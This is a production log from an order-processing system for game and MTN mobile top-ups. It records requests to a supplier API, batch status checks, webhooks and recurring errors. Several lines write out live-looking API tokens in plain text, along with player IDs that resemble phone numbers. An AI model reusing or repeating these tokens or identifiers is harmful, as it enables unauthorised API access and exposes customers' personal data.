[2026-03-24 00:36:43] production.ERROR: ❌ Missing required field: order_number for site: swgamessls {"available_fields":["error","message"],"required_fields":["order_number","amount","status"]} 
[2026-03-24 00:36:43] production.ERROR: 🚨 Failed to reject order on parse error {"operation_id":163412,"exception":"Unknown named parameter $userId"} 
[2026-03-24 00:36:43] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1054  
[2026-03-24 00:37:09] production.INFO: Constructing job for order: 178480  
[2026-03-24 00:37:10] production.INFO: Handling job for order: 178480  
[2026-03-24 00:37:10] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 00:37:10] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 00:37:10] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/567/params?qty=1000&uuid=2b9dd80c-3caa-43ed-a012-1450aab81cf8&Player_ID=221893315  
[2026-03-24 00:37:10] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/567/params?qty=1000&uuid=2b9dd80c-3caa-43ed-a012-1450aab81cf8&Player_ID=221893315","has_body":false} 
[2026-03-24 00:37:11] production.INFO: Operation sent successfully {"operation_id":163413,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-HDfnXOo-1774301831","amount":0.84876050000000002881961336242966353893280029296875,"status":"processing","product":"Soyo Amount","game":"SoyoChat","notes":[],"created_at":"2026-03-24 00:37:11"}},"processed_data":{"order_number":"ORD-HDfnXOo-1774301831","amount":0.84876050000000002881961336242966353893280029296875,"status":"processing","product":"Soyo Amount","game":"SoyoChat"}} 
[2026-03-24 00:37:37] production.INFO: Constructing job for order: 178481  
[2026-03-24 00:37:38] production.INFO: Handling job for order: 178481  
[2026-03-24 00:37:38] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 00:37:38] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 00:37:38] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/825/params?qty=2000&uuid=4d559ca1-f7ae-46bb-8405-f38e19b4e00b&Player_ID=4347600  
[2026-03-24 00:37:38] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/825/params?qty=2000&uuid=4d559ca1-f7ae-46bb-8405-f38e19b4e00b&Player_ID=4347600","has_body":false} 
[2026-03-24 00:37:39] production.INFO: Operation sent successfully {"operation_id":163414,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-XFY-1774301859","amount":1.475357999999999947249307297170162200927734375,"status":"processing","product":"Sahra Amount","game":"Sahra Caht","notes":[],"created_at":"2026-03-24 00:37:39"}},"processed_data":{"order_number":"ORD-XFY-1774301859","amount":1.475357999999999947249307297170162200927734375,"status":"processing","product":"Sahra Amount","game":"Sahra Caht"}} 
[2026-03-24 00:38:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"vaK28AF5QGD5v1ik0wvEoVr3EvUidGoz","execution_time":"2026-03-24 00:38:03"} 
[2026-03-24 00:38:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"vaK28AF5QGD5v1ik0wvEoVr3EvUidGoz","execution_time":"2026-03-24 00:38:03","total_operations":6,"sites_count":1} 
[2026-03-24 00:38:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"vaK28AF5QGD5v1ik0wvEoVr3EvUidGoz","execution_time":"2026-03-24 00:38:03","site_id":3,"site_name":"swgamessd","orders_count":6,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795","ORD-HDfnXOo-1774301831","ORD-XFY-1774301859"]} 
[2026-03-24 00:38:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"vaK28AF5QGD5v1ik0wvEoVr3EvUidGoz","execution_time":"2026-03-24 00:38:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 00:38:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"vaK28AF5QGD5v1ik0wvEoVr3EvUidGoz","execution_time":"2026-03-24 00:38:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":6} 
[2026-03-24 00:38:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"vaK28AF5QGD5v1ik0wvEoVr3EvUidGoz","execution_time":"2026-03-24 00:38:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 00:38:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"vaK28AF5QGD5v1ik0wvEoVr3EvUidGoz","execution_time":"2026-03-24 00:38:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 00:38:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"vaK28AF5QGD5v1ik0wvEoVr3EvUidGoz","execution_time":"2026-03-24 00:38:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 00:38:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"vaK28AF5QGD5v1ik0wvEoVr3EvUidGoz","execution_time":"2026-03-24 00:38:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-HDfnXOo-1774301831","operation_id":163413} 
[2026-03-24 00:38:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"vaK28AF5QGD5v1ik0wvEoVr3EvUidGoz","execution_time":"2026-03-24 00:38:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 00:38:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"vaK28AF5QGD5v1ik0wvEoVr3EvUidGoz","execution_time":"2026-03-24 00:38:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XFY-1774301859","operation_id":163414} 
[2026-03-24 00:38:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"vaK28AF5QGD5v1ik0wvEoVr3EvUidGoz","execution_time":"2026-03-24 00:38:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XFY-1774301859","operation_id":163414,"processed":0,"skipped":6,"updates_prepared":0} 
[2026-03-24 00:38:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"vaK28AF5QGD5v1ik0wvEoVr3EvUidGoz","execution_time":"2026-03-24 00:38:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XFY-1774301859","operation_id":163414,"processed":0,"errors":0} 
[2026-03-24 00:38:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"vaK28AF5QGD5v1ik0wvEoVr3EvUidGoz","execution_time":"2026-03-24 00:38:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XFY-1774301859","operation_id":163414} 
[2026-03-24 00:38:41] production.INFO: Constructing job for order: 178482  
[2026-03-24 00:38:42] production.INFO: Handling job for order: 178482  
[2026-03-24 00:38:42] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 00:38:42] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 00:38:42] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/36/params?qty=1&uuid=a4067172-45d7-4557-a4ba-4bede6e44448&Player_ID=0988761191  
[2026-03-24 00:38:42] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/36/params?qty=1&uuid=a4067172-45d7-4557-a4ba-4bede6e44448&Player_ID=0988761191","has_body":false} 
[2026-03-24 00:38:43] production.ERROR: ❌ Missing required field: order_number for site: swgamessls {"available_fields":["error","message"],"required_fields":["order_number","amount","status"]} 
[2026-03-24 00:38:43] production.ERROR: 🚨 Failed to reject order on parse error {"operation_id":163415,"exception":"Unknown named parameter $userId"} 
[2026-03-24 00:38:43] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1054  
[2026-03-24 00:40:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"8us25Hh7PiLVIhHvgESX31s52xIaVwKP","execution_time":"2026-03-24 00:40:04"} 
[2026-03-24 00:40:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"8us25Hh7PiLVIhHvgESX31s52xIaVwKP","execution_time":"2026-03-24 00:40:04","total_operations":6,"sites_count":1} 
[2026-03-24 00:40:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"8us25Hh7PiLVIhHvgESX31s52xIaVwKP","execution_time":"2026-03-24 00:40:04","site_id":3,"site_name":"swgamessd","orders_count":6,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795","ORD-HDfnXOo-1774301831","ORD-XFY-1774301859"]} 
[2026-03-24 00:40:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"8us25Hh7PiLVIhHvgESX31s52xIaVwKP","execution_time":"2026-03-24 00:40:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 00:40:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"8us25Hh7PiLVIhHvgESX31s52xIaVwKP","execution_time":"2026-03-24 00:40:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":6} 
[2026-03-24 00:40:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"8us25Hh7PiLVIhHvgESX31s52xIaVwKP","execution_time":"2026-03-24 00:40:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 00:40:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"8us25Hh7PiLVIhHvgESX31s52xIaVwKP","execution_time":"2026-03-24 00:40:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 00:40:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"8us25Hh7PiLVIhHvgESX31s52xIaVwKP","execution_time":"2026-03-24 00:40:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 00:40:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"8us25Hh7PiLVIhHvgESX31s52xIaVwKP","execution_time":"2026-03-24 00:40:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 00:40:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"8us25Hh7PiLVIhHvgESX31s52xIaVwKP","execution_time":"2026-03-24 00:40:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XFY-1774301859","operation_id":163414,"processed":2,"skipped":4,"updates_prepared":2} 
[2026-03-24 00:40:04] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"8us25Hh7PiLVIhHvgESX31s52xIaVwKP","execution_time":"2026-03-24 00:40:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XFY-1774301859","operation_id":163414,"total_items":2,"chunks":1,"chunk_size":10} 
[2026-03-24 00:40:04] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"8us25Hh7PiLVIhHvgESX31s52xIaVwKP","execution_time":"2026-03-24 00:40:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XFY-1774301859","operation_id":163414,"count":2} 
[2026-03-24 00:40:04] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"8us25Hh7PiLVIhHvgESX31s52xIaVwKP","execution_time":"2026-03-24 00:40:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XFY-1774301859","operation_id":163414,"count":2} 
[2026-03-24 00:40:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"8us25Hh7PiLVIhHvgESX31s52xIaVwKP","execution_time":"2026-03-24 00:40:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XFY-1774301859","operation_id":163414,"user_id":802,"notification_type":"order_approved","reference_id":178480} 
[2026-03-24 00:40:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"8us25Hh7PiLVIhHvgESX31s52xIaVwKP","execution_time":"2026-03-24 00:40:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XFY-1774301859","operation_id":163414,"user_id":802,"notification_type":"order_approved","reference_id":178481} 
[2026-03-24 00:40:04] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"8us25Hh7PiLVIhHvgESX31s52xIaVwKP","execution_time":"2026-03-24 00:40:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XFY-1774301859","operation_id":163414,"chunk_number":1,"processed":2,"errors":0,"total_operations":2,"total_orders":2,"total_codes":0,"total_refunds":0} 
[2026-03-24 00:40:04] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"8us25Hh7PiLVIhHvgESX31s52xIaVwKP","execution_time":"2026-03-24 00:40:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XFY-1774301859","operation_id":163414,"total_processed":2,"total_errors":0,"chunks_processed":1} 
[2026-03-24 00:40:04] production.INFO: Batch update completed {"job":"Quryjob","job_id":"8us25Hh7PiLVIhHvgESX31s52xIaVwKP","execution_time":"2026-03-24 00:40:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XFY-1774301859","operation_id":163414,"processed":2,"errors":0} 
[2026-03-24 00:40:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"8us25Hh7PiLVIhHvgESX31s52xIaVwKP","execution_time":"2026-03-24 00:40:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XFY-1774301859","operation_id":163414,"processed":2,"errors":0} 
[2026-03-24 00:40:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"8us25Hh7PiLVIhHvgESX31s52xIaVwKP","execution_time":"2026-03-24 00:40:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XFY-1774301859","operation_id":163414} 
[2026-03-24 00:40:04] production.INFO: Executing GetProducts task...  
[2026-03-24 00:40:04] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 00:40:04] production.INFO: Executing GetProducts task...  
[2026-03-24 00:40:05] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-XFY-1774301859","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 00:40:05] production.INFO: Processed webhook data (normalized) {"id":"ORD-XFY-1774301859","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 00:40:05] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 00:40:05] production.ERROR: Order not found or already processed. External ID: ORD-XFY-1774301859  
[2026-03-24 00:40:05] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-XFY-1774301859","status":"completed","codes_count":0} 
[2026-03-24 00:40:05] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-HDfnXOo-1774301831","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 00:40:05] production.INFO: Processed webhook data (normalized) {"id":"ORD-HDfnXOo-1774301831","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 00:40:05] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 00:40:05] production.ERROR: Order not found or already processed. External ID: ORD-HDfnXOo-1774301831  
[2026-03-24 00:40:05] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-HDfnXOo-1774301831","status":"completed","codes_count":0} 
[2026-03-24 00:40:06] production.INFO: async() رجع: true  
[2026-03-24 00:40:06] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 00:40:06] production.WARNING: Product with ID 395 not found  
[2026-03-24 00:40:07] production.WARNING: Product with ID 213 not found  
[2026-03-24 00:40:07] production.WARNING: Product with ID 212 not found  
[2026-03-24 00:40:07] production.WARNING: Product with ID 211 not found  
[2026-03-24 00:40:07] production.WARNING: Product with ID 210 not found  
[2026-03-24 00:40:07] production.WARNING: Product with ID 209 not found  
[2026-03-24 00:40:07] production.WARNING: Product with ID 214 not found  
[2026-03-24 00:40:07] production.WARNING: Product with ID 215 not found  
[2026-03-24 00:40:07] production.WARNING: Product with ID 216 not found  
[2026-03-24 00:40:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 00:40:07] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 802  
[2026-03-24 00:40:07] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 802  
[2026-03-24 00:40:32] production.ERROR: Order Failed: No query results for model [App\Models\Product].  
[2026-03-24 00:40:41] production.INFO: Constructing job for order: 178483  
[2026-03-24 00:40:43] production.INFO: Handling job for order: 178483  
[2026-03-24 00:40:43] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 00:40:43] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 00:40:43] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/10/params?qty=1&uuid=c313fc7b-9081-4dcd-ba28-0adeeb73c9b2&Player_ID=0968794942  
[2026-03-24 00:40:43] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/10/params?qty=1&uuid=c313fc7b-9081-4dcd-ba28-0adeeb73c9b2&Player_ID=0968794942","has_body":false} 
[2026-03-24 00:40:44] production.INFO: Operation sent successfully {"operation_id":163416,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-75GnJ4-1774302044","amount":105.533600000000006957634468562901020050048828125,"status":"processing","product":"100 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 00:40:44"}},"processed_data":{"order_number":"ORD-75GnJ4-1774302044","amount":105.533600000000006957634468562901020050048828125,"status":"processing","product":"100 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 00:40:46] production.INFO: Constructing job for order: 178484  
[2026-03-24 00:40:47] production.INFO: Handling job for order: 178484  
[2026-03-24 00:40:47] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 00:40:47] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 00:40:47] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/7/params?qty=1&uuid=171e3f5e-e825-4620-88ae-162a2a831249&Player_ID=0968794942  
[2026-03-24 00:40:47] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/7/params?qty=1&uuid=171e3f5e-e825-4620-88ae-162a2a831249&Player_ID=0968794942","has_body":false} 
[2026-03-24 00:40:48] production.INFO: Operation sent successfully {"operation_id":163417,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-t1Pw0-1774302048","amount":31.66008000000000066620486904866993427276611328125,"status":"processing","product":"30 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 00:40:48"}},"processed_data":{"order_number":"ORD-t1Pw0-1774302048","amount":31.66008000000000066620486904866993427276611328125,"status":"processing","product":"30 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 00:40:50] production.INFO: Constructing job for order: 178485  
[2026-03-24 00:40:51] production.INFO: Handling job for order: 178485  
[2026-03-24 00:40:51] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 00:40:51] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 00:40:51] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/5/params?qty=1&uuid=5800447d-0486-4031-ac87-e950fb9d7e49&Player_ID=0968794942  
[2026-03-24 00:40:51] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/5/params?qty=1&uuid=5800447d-0486-4031-ac87-e950fb9d7e49&Player_ID=0968794942","has_body":false} 
[2026-03-24 00:40:52] production.INFO: Operation sent successfully {"operation_id":163418,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-4EZU-1774302051","amount":21.106719999999999259898686432279646396636962890625,"status":"processing","product":"20 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 00:40:52"}},"processed_data":{"order_number":"ORD-4EZU-1774302051","amount":21.106719999999999259898686432279646396636962890625,"status":"processing","product":"20 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 00:41:20] production.ERROR: Order Failed: No query results for model [App\Models\Product].  
[2026-03-24 00:42:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"mwvkK1LOlt3YyFFL6GFq3oKtONHKUlJJ","execution_time":"2026-03-24 00:42:01"} 
[2026-03-24 00:42:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"mwvkK1LOlt3YyFFL6GFq3oKtONHKUlJJ","execution_time":"2026-03-24 00:42:01","total_operations":7,"sites_count":2} 
[2026-03-24 00:42:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"mwvkK1LOlt3YyFFL6GFq3oKtONHKUlJJ","execution_time":"2026-03-24 00:42:01","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 00:42:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"mwvkK1LOlt3YyFFL6GFq3oKtONHKUlJJ","execution_time":"2026-03-24 00:42:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 00:42:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"mwvkK1LOlt3YyFFL6GFq3oKtONHKUlJJ","execution_time":"2026-03-24 00:42:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 00:42:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"mwvkK1LOlt3YyFFL6GFq3oKtONHKUlJJ","execution_time":"2026-03-24 00:42:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 00:42:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"mwvkK1LOlt3YyFFL6GFq3oKtONHKUlJJ","execution_time":"2026-03-24 00:42:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 00:42:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"mwvkK1LOlt3YyFFL6GFq3oKtONHKUlJJ","execution_time":"2026-03-24 00:42:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 00:42:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"mwvkK1LOlt3YyFFL6GFq3oKtONHKUlJJ","execution_time":"2026-03-24 00:42:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 00:42:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"mwvkK1LOlt3YyFFL6GFq3oKtONHKUlJJ","execution_time":"2026-03-24 00:42:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 00:42:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"mwvkK1LOlt3YyFFL6GFq3oKtONHKUlJJ","execution_time":"2026-03-24 00:42:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 00:42:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"mwvkK1LOlt3YyFFL6GFq3oKtONHKUlJJ","execution_time":"2026-03-24 00:42:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"orders_count":3,"order_ids":["ORD-75GnJ4-1774302044","ORD-t1Pw0-1774302048","ORD-4EZU-1774302051"]} 
[2026-03-24 00:42:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"mwvkK1LOlt3YyFFL6GFq3oKtONHKUlJJ","execution_time":"2026-03-24 00:42:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 00:42:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"mwvkK1LOlt3YyFFL6GFq3oKtONHKUlJJ","execution_time":"2026-03-24 00:42:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"orders_count":3} 
[2026-03-24 00:42:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"mwvkK1LOlt3YyFFL6GFq3oKtONHKUlJJ","execution_time":"2026-03-24 00:42:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-t1Pw0-1774302048","operation_id":163417,"processed":3,"skipped":0,"updates_prepared":3} 
[2026-03-24 00:42:01] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"mwvkK1LOlt3YyFFL6GFq3oKtONHKUlJJ","execution_time":"2026-03-24 00:42:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-t1Pw0-1774302048","operation_id":163417,"total_items":3,"chunks":1,"chunk_size":10} 
[2026-03-24 00:42:01] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"mwvkK1LOlt3YyFFL6GFq3oKtONHKUlJJ","execution_time":"2026-03-24 00:42:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-t1Pw0-1774302048","operation_id":163417,"count":3} 
[2026-03-24 00:42:01] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"mwvkK1LOlt3YyFFL6GFq3oKtONHKUlJJ","execution_time":"2026-03-24 00:42:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-t1Pw0-1774302048","operation_id":163417,"count":3} 
[2026-03-24 00:42:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"mwvkK1LOlt3YyFFL6GFq3oKtONHKUlJJ","execution_time":"2026-03-24 00:42:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-t1Pw0-1774302048","operation_id":163417,"user_id":237,"notification_type":"order_approved","reference_id":178485} 
[2026-03-24 00:42:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"mwvkK1LOlt3YyFFL6GFq3oKtONHKUlJJ","execution_time":"2026-03-24 00:42:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-t1Pw0-1774302048","operation_id":163417,"user_id":237,"notification_type":"order_approved","reference_id":178483} 
[2026-03-24 00:42:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"mwvkK1LOlt3YyFFL6GFq3oKtONHKUlJJ","execution_time":"2026-03-24 00:42:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-t1Pw0-1774302048","operation_id":163417,"user_id":237,"notification_type":"order_approved","reference_id":178484} 
[2026-03-24 00:42:01] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"mwvkK1LOlt3YyFFL6GFq3oKtONHKUlJJ","execution_time":"2026-03-24 00:42:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-t1Pw0-1774302048","operation_id":163417,"chunk_number":1,"processed":3,"errors":0,"total_operations":3,"total_orders":3,"total_codes":0,"total_refunds":0} 
